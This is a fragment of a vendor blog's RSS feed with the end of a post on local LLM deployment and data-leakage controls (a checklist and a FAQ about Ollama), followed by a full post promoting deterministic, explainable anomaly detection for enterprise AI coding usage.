<td>Reverse proxy or mTLS</td>
</tr>
<tr>
<td>5</td>
<td>No secrets in prompts—vault and env discipline</td>
<td>Model location does not matter</td>
</tr>
<tr>
<td>6</td>
<td>Agent hooks + egress guard on every IDE/CLI</td>
<td>Same as cloud agents</td>
</tr>
<tr>
<td>7</td>
<td>Gateway <code>base_url</code> points at vetted internal endpoint</td>
<td>Not a dev laptop bind</td>
</tr>
<tr>
<td>8</td>
<td>Scan runbooks for exposed inference ports</td>
<td>Quarterly</td>
</tr>
</tbody></table>
<p>Considering provider-side leakage paths too? Pair this with source code leakage in AI assistants when published.</p>
<p>Next step: See what your agents read and send—start free.</p>
<h2>FAQ</h2>
<h3>Is Ollama secure by default?</h3>
<p>It binds to <code>127.0.0.1:11434</code> by default, which is appropriate for single-user local use. Security reviews should still verify <code>OLLAMA_HOST</code>, cloud model settings, and whether any agent can reach a shared bind address without authentication.</p>
<h3>Do local LLMs prevent data leakage?</h3>
<p>They remove <strong>third-party model API</strong> disclosure for local inference paths. They do <strong>not</strong> stop agents from reading secrets, printing them in shell output, or exfiltrating via HTTP unless you add the same hook, sandbox, and monitoring controls you would use with cloud models.</p>
<h3>How do I stop Ollama sending prompts to the cloud?</h3>
<p>Set <code>"disable_ollama_cloud": true</code> in <code>~/.ollama/server.json</code> or export <code>OLLAMA_NO_CLOUD=1</code>. Confirm in the current Ollama documentation—cloud features change over time.</p>
<h3>Can ReclaimLLM's gateway route to local models?</h3>
<p>Yes. Add the <strong>Local (LiteLLM)</strong> provider with your endpoint’s <code>base_url</code> (OpenAI-compatible). That includes a self-hosted Ollama <code>/v1</code> server on your network. There is no separate Ollama-branded integration. Prompts stay in-house only if that endpoint is actually internal—not an internet-exposed bind.</p>
<h3>Should we skip DLP if the model is local?</h3>
<p>No. Local inference does not reduce agent file-read or shell egress risk. Treat local and cloud agents the same for hook coverage and audit evidence.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/local-llms-coding-data-leakage">https://reclaimllm.com/blogs/local-llms-coding-data-leakage</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[AI coding anomalies need evidence, not another black box]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Why statistical baselines, bounded evidence, and explainable detectors outperform fuzzy LLM…]]></description><link>https://reclaimllm-blog.hashnode.dev/ai-coding-anomalies-need-evidence-not-another-black-box</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/ai-coding-anomalies-need-evidence-not-another-black-box</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Wed, 28 Oct 2026 02:27:05 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-anomalies-need-evidence-not-black-boxes">https://reclaimllm.com/blogs/ai-coding-anomalies-need-evidence-not-black-boxes</a></p>
</blockquote>
<p>Why statistical baselines, bounded evidence, and explainable detectors outperform fuzzy LLM classifiers when auditing enterprise AI coding workflows.</p>
<p>AI coding tools are moving from individual experiments into organization-wide infrastructure.</p>
<p>That creates a new operational problem.</p>
<p>An organization may know how many tokens it consumed, but not whether a sudden increase came from legitimate project work, a new integration, a looping agent, repeated failed tests, or a change in reporting coverage.</p>
<p>A single global threshold cannot answer that question.</p>
<p>It will repeatedly flag legitimate heavy users, miss abnormal behavior from lighter users, and turn normal technical novelty into unnecessary alarm.</p>
<p>ReclaimLLM uses deterministic anomaly detection for Enterprise observability to address this differently: compare activity with the relevant historical baseline, apply explicit eligibility rules, and preserve bounded evidence so an administrator can reproduce why a finding fired.</p>
<p>This is not machine-learning classification. It is not employee scoring. It is not automatic enforcement.</p>
<p>It is an investigation system.</p>
<h2>The Prerequisite is Observability</h2>
<p>Anomaly detection is only as reliable as the evidence beneath it.</p>
<p>A provider invoice can show that usage increased. It cannot reliably explain which completed sessions caused the change, whether tool failures repeated, whether a technology combination was genuinely new, or whether the underlying data was complete enough to support a conclusion.</p>
<p>Workflow observability provides the missing layers:</p>
<ul>
<li>Normalized activity across supported providers and coding tools</li>
<li>Attribution by organization, member, team, and project</li>
<li>Historical baselines for the same subject</li>
<li>Session and tool-call sequences for deterministic checks</li>
<li>Evidence links that let an administrator inspect the source</li>
<li>Coverage information that distinguishes “nothing happened” from “we do not have enough data”</li>
</ul>
<p>Without those layers, anomaly detection becomes guesswork attached to a graph. With them, an organization can move through a defensible operating loop:</p>
<p>Observe → detect → inspect evidence → decide → track resolution.</p>
<h2>Why Deterministic Detection Matters</h2>
<p>The detection engine is deliberately explainable.</p>
<p>Each detector has a stable version, stated thresholds, bounded inputs, eligibility requirements, and reproducible evidence. The system records evaluations that fire as well as evaluations that do not fire or lack sufficient data.</p>
<p>That design prevents three dangerous shortcuts:</p>
<ol>
<li>Treating missing telemetry as zero activity.</li>
<li>Comparing every developer with the same organization-wide threshold.</li>
<li>Labeling first-seen activity as malicious or unauthorized without an authoritative policy model.</li>
</ol>
<p>When the data cannot support a conclusion, the correct result is <code>insufficient_data</code>—not a clean bill of health and not a finding.</p>
<h2>What the Deterministic Engine Checks</h2>
<p>The system evaluates daily session data across core detector families:</p>
<h3>AD-001 · Personal Usage-Volume Deviation</h3>
<p>This detector identifies an unusually high completed day of session or token activity relative to that member's own recent active days.</p>
<p>It uses the previous 14 completed UTC days, requires at least seven active baseline days, and applies a guarded exponentially weighted baseline. A finding requires multiple conditions to align:</p>
<ul>
<li>A strong statistical deviation (z-score above threshold)</li>
<li>A meaningful ratio above the member's baseline</li>
<li>An absolute increase floor</li>
</ul>
<p>The important principle is simple: compare a person with their own history, not with the organization's heaviest or lightest user.</p>
<h3>AD-002 · Technology and Activity Novelty</h3>
<p>This detector identifies a materially new combination of technology or activity for a member.</p>
<p>It considers project-relative file extensions, manifest names, conservatively parsed dependencies or imports, command families, tools, models, providers, agent clients, and project roots.</p>
<p>One new extension or dependency is not enough to fire by itself. The detector requires a meaningful combination, such as a first-seen manifest ecosystem plus a related first-seen dependency, or a new project combined with a new command family. Even then, the finding means “first seen,” not “unauthorized.”</p>
<h3>AD-003 · Runaway or Looping Session</h3>
<p>This detector looks for completed sessions that appear operationally stuck or disproportionately expensive.</p>
<p>Its deterministic sub-signals include:</p>
<ul>
<li>Consecutive error or timeout calls with the same tool and input hash</li>
<li>Repeated failing operations against the same command family and path</li>
<li>Repeated build or test failures without an intervening edit</li>
<li>Abnormal tool-call volume relative to the member's history</li>
<li>Abnormal completed duration</li>
<li>A failure-rate spike with enough failed calls to be meaningful</li>
</ul>
<p>Severity is rule-based: one crossed threshold produces a warning; two independent sub-signals or a sustained failed build/test loop escalates to high severity.</p>
<h2>A Finding Has a Lifecycle—Not Just an Alert</h2>
<p>Repeated detections should not create an endless pile of duplicate alerts.</p>
<p>The lifecycle keeps one ongoing finding for the same detector, subject, and anomaly target. A repeated occurrence updates its last-seen time and count while preserving administrator acknowledgement or dismissal.</p>
<p>Administrators can:</p>
<ul>
<li>Acknowledge a new finding that is under review.</li>
<li>Resolve it when the relevant work or remediation is complete.</li>
<li>Dismiss expected behavior or a false positive.</li>
</ul>
<p>Eligible quiet periods can resolve recurring findings according to detector policy. Missing data or detector errors cannot silently resolve an open issue.</p>
<h2>Evidence Without Unnecessary Exposure</h2>
<p>An anomaly system should not create a second sensitive-data problem.</p>
<p>The background evaluation job operates on compact relational data and does not fetch or decrypt raw session blobs. Evidence is allowlisted and bounded: identifiers, normalized relative paths, hashes, counts, categories, statistics, and thresholds.</p>
<p>It excludes raw prompts, responses, tool inputs and results, file contents, secrets, complete commands, and personal absolute paths.</p>
<h2>The Standard Should Be Explainability</h2>
<p>Anomaly detection in AI-assisted engineering should answer four questions:</p>
<ol>
<li>What changed?</li>
<li>Compared with which baseline?</li>
<li>Was the available evidence sufficient?</li>
<li>Which sessions support the finding?</li>
</ol>
<p>If a system cannot answer those questions, an anomaly score creates more confusion than operational value. Observability should help an organization investigate its systems—not judge its people.</p>
<hr />
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-anomalies-need-evidence-not-black-boxes">https://reclaimllm.com/blogs/ai-coding-anomalies-need-evidence-not-black-boxes</a></p>
]]></content:encoded></item></channel></rss>